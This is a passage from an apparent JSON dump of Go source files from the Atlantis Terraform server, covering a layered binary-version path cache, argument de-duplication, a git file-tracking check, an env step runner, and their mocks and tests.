VerifierMockExecutionVersionCache struct {\n\tmock                   *MockExecutionVersionCache\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockExecutionVersionCache) Get(key *go_version.Version) *MockExecutionVersionCache_Get_OngoingVerification {\n\t_params := []pegomock.Param{key}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Get\", _params, verifier.timeout)\n\treturn &MockExecutionVersionCache_Get_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockExecutionVersionCache_Get_OngoingVerification struct {\n\tmock              *MockExecutionVersionCache\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockExecutionVersionCache_Get_OngoingVerification) GetCapturedArguments() *go_version.Version {\n\tkey := c.GetAllCapturedArguments()\n\treturn key[len(key)-1]\n}\n\nfunc (c *MockExecutionVersionCache_Get_OngoingVerification) GetAllCapturedArguments() (_param0 []*go_version.Version) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*go_version.Version, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*go_version.Version)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/core/runtime/cache/version_path.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage cache\n\nimport (\n\t\"fmt\"\n\t\"sync\"\n\n\t\"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime/models\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_version_path.go ExecutionVersionCache\n//go:generate pegomock generate --package mocks -o mocks/mock_key_serializer.go KeySerializer\n\ntype ExecutionVersionCache interface {\n\tGet(key *version.Version) (string, error)\n}\n\ntype KeySerializer interface {\n\tSerialize(key *version.Version) (string, error)\n}\n\ntype DefaultDiskLookupKeySerializer struct {\n\tbinaryName string\n}\n\nfunc (s *DefaultDiskLookupKeySerializer) Serialize(key *version.Version) (string, error) {\n\treturn fmt.Sprintf(\"%s%s\", s.binaryName, key.Original()), nil\n}\n\n// ExecutionVersionDiskLayer is a cache layer which attempts to find the version on disk,\n// before calling the configured loading function.\ntype ExecutionVersionDiskLayer struct {\n\tversionRootDir models.FilePath\n\texec           models.Exec\n\tkeySerializer  KeySerializer\n\tloader         func(v *version.Version, destPath string) (models.FilePath, error)\n\tbinaryName     string\n}\n\n// Gets a path from cache\nfunc (v *ExecutionVersionDiskLayer) Get(key *version.Version) (string, error) {\n\tbinaryVersion, err := v.keySerializer.Serialize(key)\n\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"serializing key for disk lookup: %w\", err)\n\t}\n\n\t// first check for the binary in our path\n\tpath, err := v.exec.LookPath(binaryVersion)\n\n\tif err == nil {\n\t\treturn path, nil\n\t}\n\n\t// if the binary is not in our path, let's look in the version root directory\n\tbinaryPath := v.versionRootDir.Join(binaryVersion)\n\n\t// if the binary doesn't exist there, we need to load it.\n\tif binaryPath.NotExists() {\n\n\t\t// load it into a directory first and then sym link it to the serialized key aka binary version\n\t\tloaderPath := v.versionRootDir.Join(v.binaryName, \"versions\", key.Original())\n\n\t\tloadedBinary, err := v.loader(key, loaderPath.Resolve())\n\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"loading %s: %w\", loaderPath, err)\n\t\t}\n\n\t\tbinaryPath, err = loadedBinary.Symlink(binaryPath.Resolve())\n\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"linking %s to %s: %w\", loaderPath, loadedBinary, err)\n\t\t}\n\t}\n\n\treturn binaryPath.Resolve(), nil\n}\n\n// ExecutionVersionMemoryLayer is an in-memory cache which delegates to a disk layer\n// if a version's path doesn't exist yet.\ntype ExecutionVersionMemoryLayer struct {\n\t// RWMutex allows us to have separation between reader locks/writer locks which is great\n\t// since writing of data shouldn't happen too often\n\tlock      sync.RWMutex\n\tdiskLayer ExecutionVersionCache\n\tcache     map[string]string\n}\n\nfunc (v *ExecutionVersionMemoryLayer) Get(key *version.Version) (string, error) {\n\n\t// If we need to we can rip this out into a KeySerializer impl, for now this\n\t// seems overkill\n\tserializedKey := key.String()\n\n\tv.lock.RLock()\n\t_, ok := v.cache[serializedKey]\n\tv.lock.RUnlock()\n\n\tif !ok {\n\t\tv.lock.Lock()\n\t\tdefer v.lock.Unlock()\n\t\tvalue, err := v.diskLayer.Get(key)\n\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"fetching %s from cache: %w\", serializedKey, err)\n\t\t}\n\t\tv.cache[serializedKey] = value\n\t}\n\treturn v.cache[serializedKey], nil\n}\n\nfunc NewExecutionVersionLayeredLoadingCache(\n\tbinaryName string,\n\tversionRootDir string,\n\tloader func(v *version.Version, destPath string) (models.FilePath, error),\n) ExecutionVersionCache {\n\n\tdiskLayer := &ExecutionVersionDiskLayer{\n\t\texec:           models.LocalExec{},\n\t\tversionRootDir: models.LocalFilePath(versionRootDir),\n\t\tkeySerializer:  &DefaultDiskLookupKeySerializer{binaryName: binaryName},\n\t\tloader:         loader,\n\t\tbinaryName:     binaryName,\n\t}\n\n\treturn &ExecutionVersionMemoryLayer{\n\t\tdiskLayer: diskLayer,\n\t\tcache:     make(map[string]string),\n\t}\n}\n"
  },
  {
    "path": "server/core/runtime/cache/version_path_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage cache\n\nimport (\n\t\"errors\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\tcache_mocks \"github.com/runatlantis/atlantis/server/core/runtime/cache/mocks\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime/models\"\n\tmodels_mocks \"github.com/runatlantis/atlantis/server/core/runtime/models/mocks\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestExecutionVersionDiskLayer(t *testing.T) {\n\n\tbinaryVersion := \"bin1.0\"\n\tbinaryName := \"bin\"\n\n\texpectedPath := \"some/path/bin1.0\"\n\tversionInput, _ := version.NewVersion(\"1.0\")\n\n\tRegisterMockTestingT(t)\n\n\tmockFilePath := models_mocks.NewMockFilePath()\n\tmockExec := models_mocks.NewMockExec()\n\tmockSerializer := cache_mocks.NewMockKeySerializer()\n\n\tt.Run(\"serializer error\", func(t *testing.T) {\n\t\tsubject := &ExecutionVersionDiskLayer{\n\t\t\tversionRootDir: mockFilePath,\n\t\t\texec:           mockExec,\n\t\t\tloader: func(v *version.Version, destPath string) (models.FilePath, error) {\n\t\t\t\tif destPath == expectedPath && v == versionInput {\n\t\t\t\t\treturn models.LocalFilePath(filepath.Join(destPath, \"bin\")), nil\n\t\t\t\t}\n\n\t\t\t\tt.Fatalf(\"unexpected inputs to loader\")\n\n\t\t\t\treturn models.LocalFilePath(\"\"), nil\n\t\t\t},\n\t\t\tkeySerializer: mockSerializer,\n\t\t}\n\n\t\tWhen(mockSerializer.Serialize(versionInput)).ThenReturn(\"\", errors.New(\"serializer error\"))\n\t\tWhen(mockExec.LookPath(binaryVersion)).ThenReturn(expectedPath, nil)\n\n\t\t_, err := subject.Get(versionInput)\n\n\t\tAssert(t, err != nil, \"err is expected\")\n\n\t\tmockFilePath.VerifyWasCalled(Never()).Join(Any[string]())\n\t\tmockFilePath.VerifyWasCalled(Never()).NotExists()\n\t\tmockFilePath.VerifyWasCalled(Never()).Resolve()\n\t\tmockExec.VerifyWasCalled(Never()).LookPath(Any[string]())\n\t})\n\n\tt.Run(\"finds in path\", func(t *testing.T) {\n\t\tsubject := &ExecutionVersionDiskLayer{\n\t\t\tversionRootDir: mockFilePath,\n\t\t\texec:           mockExec,\n\t\t\tloader: func(v *version.Version, destPath string) (models.FilePath, error) {\n\t\t\t\tt.Fatalf(\"shouldn't be called\")\n\n\t\t\t\treturn models.LocalFilePath(\"\"), nil\n\t\t\t},\n\t\t\tkeySerializer: mockSerializer,\n\t\t}\n\n\t\tWhen(mockSerializer.Serialize(versionInput)).ThenReturn(binaryVersion, nil)\n\t\tWhen(mockExec.LookPath(binaryVersion)).ThenReturn(expectedPath, nil)\n\n\t\tresultPath, err := subject.Get(versionInput)\n\n\t\tOk(t, err)\n\n\t\tAssert(t, resultPath == expectedPath, \"path is expected\")\n\n\t\tmockFilePath.VerifyWasCalled(Never()).Join(Any[string]())\n\t\tmockFilePath.VerifyWasCalled(Never()).Resolve()\n\t\tmockFilePath.VerifyWasCalled(Never()).NotExists()\n\t})\n\n\tt.Run(\"finds in version root\", func(t *testing.T) {\n\t\tsubject := &ExecutionVersionDiskLayer{\n\t\t\tversionRootDir: mockFilePath,\n\t\t\texec:           mockExec,\n\t\t\tloader: func(v *version.Version, destPath string) (models.FilePath, error) {\n\n\t\t\t\tt.Fatalf(\"shouldn't be called\")\n\n\t\t\t\treturn models.LocalFilePath(\"\"), nil\n\t\t\t},\n\t\t\tkeySerializer: mockSerializer,\n\t\t}\n\n\t\tWhen(mockSerializer.Serialize(versionInput)).ThenReturn(binaryVersion, nil)\n\t\tWhen(mockExec.LookPath(binaryVersion)).ThenReturn(\"\", errors.New(\"error\"))\n\n\t\tWhen(mockFilePath.Join(binaryVersion)).ThenReturn(mockFilePath)\n\n\t\tWhen(mockFilePath.NotExists()).ThenReturn(false)\n\t\tWhen(mockFilePath.Resolve()).ThenReturn(expectedPath)\n\n\t\tresultPath, err := subject.Get(versionInput)\n\n\t\tOk(t, err)\n\n\t\tAssert(t, resultPath == expectedPath, \"path is expected\")\n\t})\n\n\tt.Run(\"loads version\", func(t *testing.T) {\n\t\tmockLoaderPath := models_mocks.NewMockFilePath()\n\t\tmockSymlinkPath := models_mocks.NewMockFilePath()\n\t\tmockLoadedBinaryPath := models_mocks.NewMockFilePath()\n\t\texpectedLoaderPath := \"/some/path/to/binary\"\n\t\texpectedBinaryVersionPath := filepath.Join(expectedPath, binaryVersion)\n\n\t\tsubject := &ExecutionVersionDiskLayer{\n\t\t\tversionRootDir: mockFilePath,\n\t\t\texec:           mockExec,\n\t\t\tloader: func(v *version.Version, destPath string) (models.FilePath, error) {\n\n\t\t\t\tif destPath == expectedLoaderPath && v == versionInput {\n\t\t\t\t\treturn mockLoadedBinaryPath, nil\n\t\t\t\t}\n\n\t\t\t\tt.Fatalf(\"unexpected inputs to loader\")\n\n\t\t\t\treturn models.LocalFilePath(\"\"), nil\n\t\t\t},\n\t\t\tbinaryName:    binaryName,\n\t\t\tkeySerializer: mockSerializer,\n\t\t}\n\n\t\tWhen(mockSerializer.Serialize(versionInput)).ThenReturn(binaryVersion, nil)\n\t\tWhen(mockExec.LookPath(binaryVersion)).ThenReturn(\"\", errors.New(\"error\"))\n\n\t\tWhen(mockFilePath.Join(binaryVersion)).ThenReturn(mockFilePath)\n\t\tWhen(mockFilePath.Resolve()).ThenReturn(expectedBinaryVersionPath)\n\n\t\tWhen(mockFilePath.NotExists()).ThenReturn(true)\n\n\t\tWhen(mockFilePath.Join(binaryName, \"versions\", versionInput.Original())).ThenReturn(mockLoaderPath)\n\n\t\tWhen(mockLoaderPath.Resolve()).ThenReturn(expectedLoaderPath)\n\t\tWhen(mockLoadedBinaryPath.Symlink(expectedBinaryVersionPath)).ThenReturn(mockSymlinkPath, nil)\n\n\t\tWhen(mockSymlinkPath.Resolve()).ThenReturn(expectedPath)\n\n\t\tresultPath, err := subject.Get(versionInput)\n\n\t\tOk(t, err)\n\n\t\tAssert(t, resultPath == expectedPath, \"path is expected\")\n\t})\n\n\tt.Run(\"loader error\", func(t *testing.T) {\n\t\tmockLoaderPath := models_mocks.NewMockFilePath()\n\t\texpectedLoaderPath := \"/some/path/to/binary\"\n\t\tsubject := &ExecutionVersionDiskLayer{\n\t\t\tversionRootDir: mockFilePath,\n\t\t\texec:           mockExec,\n\t\t\tloader: func(v *version.Version, destPath string) (models.FilePath, error) {\n\n\t\t\t\tif destPath == expectedLoaderPath && v == versionInput {\n\t\t\t\t\treturn models.LocalFilePath(\"\"), errors.New(\"error\")\n\t\t\t\t}\n\n\t\t\t\tt.Fatalf(\"unexpected inputs to loader\")\n\n\t\t\t\treturn models.LocalFilePath(\"\"), nil\n\t\t\t},\n\t\t\tkeySerializer: mockSerializer,\n\t\t\tbinaryName:    binaryName,\n\t\t}\n\n\t\tWhen(mockSerializer.Serialize(versionInput)).ThenReturn(binaryVersion, nil)\n\t\tWhen(mockExec.LookPath(binaryVersion)).ThenReturn(\"\", errors.New(\"error\"))\n\n\t\tWhen(mockFilePath.Join(binaryVersion)).ThenReturn(mockFilePath)\n\n\t\tWhen(mockFilePath.NotExists()).ThenReturn(true)\n\n\t\tWhen(mockFilePath.Join(binaryName, \"versions\", versionInput.Original())).ThenReturn(mockLoaderPath)\n\n\t\tWhen(mockLoaderPath.Resolve()).ThenReturn(expectedLoaderPath)\n\n\t\t_, err := subject.Get(versionInput)\n\n\t\tAssert(t, err != nil, \"path is expected\")\n\t})\n}\n\nfunc TestExecutionVersionMemoryLayer(t *testing.T) {\n\texpectedPath := \"some/path\"\n\tversionInput, _ := version.NewVersion(\"1.0\")\n\n\tRegisterMockTestingT(t)\n\n\tmockLayer := cache_mocks.NewMockExecutionVersionCache()\n\n\tcache := make(map[string]string)\n\n\tsubject := &ExecutionVersionMemoryLayer{\n\t\tdiskLayer: mockLayer,\n\t\tcache:     cache,\n\t}\n\n\tt.Run(\"exists in cache\", func(t *testing.T) {\n\t\tcache[versionInput.String()] = expectedPath\n\n\t\tresultPath, err := subject.Get(versionInput)\n\n\t\tOk(t, err)\n\n\t\tAssert(t, resultPath == expectedPath, \"path is expected\")\n\t})\n\n\tt.Run(\"disk layer error\", func(t *testing.T) {\n\t\tdelete(cache, versionInput.String())\n\n\t\tWhen(mockLayer.Get(versionInput)).ThenReturn(\"\", errors.New(\"error\"))\n\n\t\t_, err := subject.Get(versionInput)\n\n\t\tAssert(t, err != nil, \"error is expected\")\n\t})\n\n\tt.Run(\"disk layer success\", func(t *testing.T) {\n\t\tdelete(cache, versionInput.String())\n\n\t\tWhen(mockLayer.Get(versionInput)).ThenReturn(expectedPath, nil)\n\n\t\tresultPath, err := subject.Get(versionInput)\n\n\t\tOk(t, err)\n\n\t\tAssert(t, resultPath == expectedPath, \"path is expected\")\n\t\tAssert(t, cache[versionInput.String()] == resultPath, \"path is cached\")\n\t})\n}\n"
  },
  {
    "path": "server/core/runtime/common/common.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage common\n\nimport (\n\t\"os\"\n\t\"os/exec\"\n\t\"slices\"\n\t\"strings\"\n)\n\n// Looks for any argument in commandArgs that has been overridden by an entry in extra args and replaces them\n// any extraArgs that are not used as overrides are added yo the end of the final string slice\nfunc DeDuplicateExtraArgs(commandArgs []string, extraArgs []string) []string {\n\t// work if any of the core args have been overridden\n\tfinalArgs := []string{}\n\tusedExtraArgs := []string{}\n\tfor _, arg := range commandArgs {\n\t\toverride := \"\"\n\t\tprefix := arg\n\t\targSplit := strings.Split(arg, \"=\")\n\t\tif len(argSplit) == 2 {\n\t\t\tprefix = argSplit[0]\n\t\t}\n\t\tfor _, extraArgOrig := range extraArgs {\n\t\t\textraArg := extraArgOrig\n\t\t\tif strings.HasPrefix(extraArg, prefix) {\n\t\t\t\toverride = extraArgOrig\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif strings.HasPrefix(extraArg, \"--\") {\n\t\t\t\textraArg = extraArgOrig[1:]\n\t\t\t\tif strings.HasPrefix(extraArg, prefix) {\n\t\t\t\t\toverride = extraArgOrig\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif strings.HasPrefix(prefix, \"--\") {\n\t\t\t\tprefixWithoutDash := prefix[1:]\n\t\t\t\tif strings.HasPrefix(extraArg, prefixWithoutDash) {\n\t\t\t\t\toverride = extraArgOrig\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t\tif override != \"\" {\n\t\t\tfinalArgs = append(finalArgs, override)\n\t\t\tusedExtraArgs = append(usedExtraArgs, override)\n\t\t} else {\n\t\t\tfinalArgs = append(finalArgs, arg)\n\t\t}\n\t}\n\t// add any extra args that are not overrides\n\tfor _, extraArg := range extraArgs {\n\t\tif !slices.Contains(usedExtraArgs, extraArg) {\n\t\t\tfinalArgs = append(finalArgs, extraArg)\n\t\t}\n\t}\n\treturn finalArgs\n}\n\n// returns true if a file at the passed path exists\nfunc FileExists(path string) bool {\n\tif _, err := os.Stat(path); err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\n// returns true if the given file is tracked by git\nfunc IsFileTracked(cloneDir string, filename string) (bool, error) {\n\tcmd := exec.Command(\"git\", \"ls-files\", filename)\n\tcmd.Dir = cloneDir\n\n\toutput, err := cmd.CombinedOutput()\n\n\tif err != nil {\n\t\treturn false, err\n\t}\n\treturn len(output) > 0, nil\n\n}\n"
  },
  {
    "path": "server/core/runtime/common/common_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage common\n\nimport (\n\t\"os/exec\"\n\t\"reflect\"\n\t\"strings\"\n\t\"testing\"\n\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc Test_DeDuplicateExtraArgs(t *testing.T) {\n\tcases := []struct {\n\t\tdescription  string\n\t\tinputArgs    []string\n\t\textraArgs    []string\n\t\texpectedArgs []string\n\t}{\n\t\t{\n\t\t\t\"No extra args\",\n\t\t\t[]string{\"init\", \"-input=false\", \"-no-color\", \"-upgrade\"},\n\t\t\t[]string{},\n\t\t\t[]string{\"init\", \"-input=false\", \"-no-color\", \"-upgrade\"},\n\t\t},\n\t\t{\n\t\t\t\"Override -upgrade\",\n\t\t\t[]string{\"init\", \"-input=false\", \"-no-color\", \"-upgrade\"},\n\t\t\t[]string{\"-upgrade=false\"},\n\t\t\t[]string{\"init\", \"-input=false\", \"-no-color\", \"-upgrade=false\"},\n\t\t},\n\t\t{\n\t\t\t\"Override -input\",\n\t\t\t[]string{\"init\", \"-input=false\", \"-no-color\", \"-upgrade\"},\n\t\t\t[]string{\"-input=true\"},\n\t\t\t[]string{\"init\", \"-input=true\", \"-no-color\", \"-upgrade\"},\n\t\t},\n\t\t{\n\t\t\t\"Override -input and -upgrade\",\n\t\t\t[]string{\"init\", \"-input=false\", \"-no-color\", \"-upgrade\"},\n\t\t\t[]string{\"-input=true\", \"-upgrade=false\"},\n\t\t\t[]string{\"init\", \"-input=true\", \"-no-color\", \"-upgrade=false\"},\n\t\t},\n\t\t{\n\t\t\t\"Non duplicate extra args\",\n\t\t\t[]string{\"init\", \"-input=false\", \"-no-color\", \"-upgrade\"},\n\t\t\t[]string{\"extra\", \"args\"},\n\t\t\t[]string{\"init\", \"-input=false\", \"-no-color\", \"-upgrade\", \"extra\", \"args\"},\n\t\t},\n\t\t{\n\t\t\t\"Override upgrade with extra args\",\n\t\t\t[]string{\"init\", \"-input=false\", \"-no-color\", \"-upgrade\"},\n\t\t\t[]string{\"extra\", \"args\", \"-upgrade=false\"},\n\t\t\t[]string{\"init\", \"-input=false\", \"-no-color\", \"-upgrade=false\", \"extra\", \"args\"},\n\t\t},\n\t\t{\n\t\t\t\"Override -input (using --input)\",\n\t\t\t[]string{\"init\", \"-input=false\", \"-no-color\", \"-upgrade\"},\n\t\t\t[]string{\"--input=true\"},\n\t\t\t[]string{\"init\", \"--input=true\", \"-no-color\", \"-upgrade\"},\n\t\t},\n\t\t{\n\t\t\t\"Override -input (using --input) and -upgrade (using --upgrade)\",\n\t\t\t[]string{\"init\", \"-input=false\", \"-no-color\", \"-upgrade\"},\n\t\t\t[]string{\"--input=true\", \"--upgrade=false\"},\n\t\t\t[]string{\"init\", \"--input=true\", \"-no-color\", \"--upgrade=false\"},\n\t\t},\n\t\t{\n\t\t\t\"Override long form flag \",\n\t\t\t[]string{\"init\", \"--input=false\", \"-no-color\", \"-upgrade\"},\n\t\t\t[]string{\"--input=true\"},\n\t\t\t[]string{\"init\", \"--input=true\", \"-no-color\", \"-upgrade\"},\n\t\t},\n\t\t{\n\t\t\t\"Override --input using (-input) \",\n\t\t\t[]string{\"init\", \"--input=false\", \"-no-color\", \"-upgrade\"},\n\t\t\t[]string{\"-input=true\"},\n\t\t\t[]string{\"init\", \"-input=true\", \"-no-color\", \"-upgrade\"},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tfinalArgs := DeDuplicateExtraArgs(c.inputArgs, c.extraArgs)\n\n\t\t\tif !reflect.DeepEqual(c.expectedArgs, finalArgs) {\n\t\t\t\tt.Fatalf(\"finalArgs (%v) does not match expectedArgs (%v)\", finalArgs, c.expectedArgs)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc runCmd(t *testing.T, dir string, name string, args ...string) string {\n\tt.Helper()\n\tcpCmd := exec.Command(name, args...)\n\tcpCmd.Dir = dir\n\tcpOut, err := cpCmd.CombinedOutput()\n\tAssert(t, err == nil, \"err running %q: %s\", strings.Join(append([]string{name}, args...), \" \"), cpOut)\n\treturn string(cpOut)\n}\n\nfunc initRepo(t *testing.T) string {\n\trepoDir := t.TempDir()\n\trunCmd(t, repoDir, \"git\", \"init\")\n\trunCmd(t, repoDir, \"touch\", \".gitkeep\")\n\trunCmd(t, repoDir, \"git\", \"add\", \".gitkeep\")\n\trunCmd(t, repoDir, \"git\", \"config\", \"--local\", \"user.email\", \"atlantisbot@runatlantis.io\")\n\trunCmd(t, repoDir, \"git\", \"config\", \"--local\", \"user.name\", \"atlantisbot\")\n\trunCmd(t, repoDir, \"git\", \"config\", \"--local\", \"commit.gpgsign\", \"false\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"initial commit\")\n\trunCmd(t, repoDir, \"git\", \"branch\", \"branch\")\n\treturn repoDir\n}\n\nfunc TestIsFileTracked(t *testing.T) {\n\t// Initialize the git repo.\n\trepoDir := initRepo(t)\n\n\t// file1 should not be tracked\n\ttracked, err := IsFileTracked(repoDir, \"file1\")\n\tOk(t, err)\n\tEquals(t, tracked, false)\n\n\t// stage file1\n\trunCmd(t, repoDir, \"touch\", \"file1\")\n\trunCmd(t, repoDir, \"git\", \"add\", \"file1\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"add file1\")\n\n\t// file1 should  be tracked\n\ttracked, err = IsFileTracked(repoDir, \"file1\")\n\tOk(t, err)\n\tEquals(t, tracked, true)\n\n\t// .terraform.lock.hcl should not be tracked\n\ttracked, err = IsFileTracked(repoDir, \".terraform.lock.hcl\")\n\tOk(t, err)\n\tEquals(t, tracked, false)\n\n\t// stage .terraform.lock.hcl\n\trunCmd(t, repoDir, \"touch\", \".terraform.lock.hcl\")\n\trunCmd(t, repoDir, \"git\", \"add\", \".terraform.lock.hcl\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"add .terraform.lock.hcl\")\n\n\t// file1 should  be tracked\n\ttracked, err = IsFileTracked(repoDir, \".terraform.lock.hcl\")\n\tOk(t, err)\n\tEquals(t, tracked, true)\n}\n"
  },
  {
    "path": "server/core/runtime/env_step_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n)\n\n// EnvStepRunner set environment variables.\ntype EnvStepRunner struct {\n\tRunStepRunner *RunStepRunner\n}\n\n// Run runs the env step command.\n// value is the value for the environment variable. If set this is returned as\n// the value. Otherwise command is run and its output is the value returned.\nfunc (r *EnvStepRunner) Run(\n\tctx command.ProjectContext,\n\tshell *valid.CommandShell,\n\tcommand string,\n\tvalue string,\n\tpath string,\n\tenvs map[string]string,\n) (string, error) {\n\tif value != \"\" {\n\t\treturn value, nil\n\t}\n\t// Pass `false` for streamOutput because this isn't interesting to the user reading the build logs\n\t// in the web UI.\n\tres, err := r.RunStepRunner.Run(ctx, shell, command, path, envs, false, []valid.PostProcessRunOutputOption{valid.PostProcessRunOutputShow}, []*regexp.Regexp{})\n\t// Trim newline from res to support running `echo env_value` which has\n\t// a newline. We don't recommend users run echo -n env_value to remove the\n\t// newline because -n doesn't work in the sh shell which is what we use\n\t// to run commands.\n\treturn strings.TrimSuffix(res, \"\\n\"), err\n}\n"
  },
  {
    "path": "server/core/runtime/env_step_runner_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform/mocks\"\n\ttfclientmocks \"github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\tjobmocks \"github.com/runatlantis/atlantis/server/jobs/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\n\t. \"github.com/petergtz/pegomock/v4\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestEnvStepRunner_Run(t *testing.T) {\n\tcases := []struct {\n\t\tCommand     string\n\t\tValue       string\n\t\tProjectName string\n\t\tExpValue    string\n\t\tExpErr      string\n\t}{\n\t\t{\n\t\t\tCommand:  \"echo 123\",\n\t\t\tExpValue: \"123\",\n\t\t},\n\t\t{\n\t\t\tValue:    \"test\",\n\t\t\tExpValue: \"test\",\n\t\t},\n\t\t{\n\t\t\tCommand:  \"echo 321\",\n\t\t\tValue:    \"test\",\n\t\t\tExpValue: \"test\",\n\t\t},\n\t}\n\tRegisterMockTestingT(t)\n\ttfClient := tfclientmocks.NewMockClient()\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\ttfVersion, err := version.NewVersion(\"0.12.0\")\n\tOk(t, err)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\trunStepRunner := runtime.RunStepRunner{\n\t\tTerraformExecutor:       tfClient,\n\t\tDefaultTFDistribution:   tfDistribution,\n\t\tDefaultTFVersion:        tfVersion,\n\t\tProjectCmdOutputHandler: projectCmdOutputHandler,\n\t}\n\tenvRunner := runtime.EnvStepRunner{\n\t\tRunStepRunner: &runStepRunner,\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.Command, func(t *testing.T) {\n\t\t\ttmpDir := t.TempDir()\n\t\t\tctx := command.ProjectContext{\n\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\tName:  \"basename\",\n\t\t\t\t\tOwner: \"baseowner\",\n\t\t\t\t},\n\t\t\t\tHeadRepo: models.Repo{\n\t\t\t\t\tName:  \"headname\",\n\t\t\t\t\tOwner: \"headowner\",\n\t\t\t\t},\n\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\tNum:        2,\n\t\t\t\t\tHeadBranch: \"add-feat\",\n\t\t\t\t\tBaseBranch: \"main\",\n\t\t\t\t\tAuthor:     \"acme\",\n\t\t\t\t},\n\t\t\t\tUser: models.User{\n\t\t\t\t\tUsername: \"acme-user\",\n\t\t\t\t},\n\t\t\t\tLog:              logging.NewNoopLogger(t),\n\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\tRepoRelDir:       \"mydir\",\n\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\tProjectName:      c.ProjectName,\n\t\t\t}\n\t\t\tvalue, err := envRunner.Run(ctx, nil, c.Command, c.Value, tmpDir, map[string]string(nil))\n\t\t\tif c.ExpErr != \"\" {\n\t\t\t\tErrContains(t, c.ExpErr, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.ExpValue, value)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/core/runtime/executor.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\tversion \"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_versionedexecutorworkflow.go VersionedExecutorWorkflow\n\n// VersionedExecutorWorkflow defines a versioned execution for a given project context\ntype VersionedExecutorWorkflow interface {\n\tExecutorVersionEnsurer\n\tExecutor\n}\n\n// Executor runs an executable with provided environment variables and arguments and returns stdout\ntype Executor interface {\n\tRun(ctx command.ProjectContext, executablePath string, envs map[string]string, workdir string, extraArgs []string) (string, error)\n}\n\n// ExecutorVersionEnsurer ensures a given version exists and outputs a path to the executable\ntype ExecutorVersionEnsurer interface {\n\tEnsureExecutorVersion(log logging.SimpleLogging, v *version.Version) (string, error)\n}\n"
  },
  {
    "path": "server/core/runtime/external_team_allowlist_runner.go",
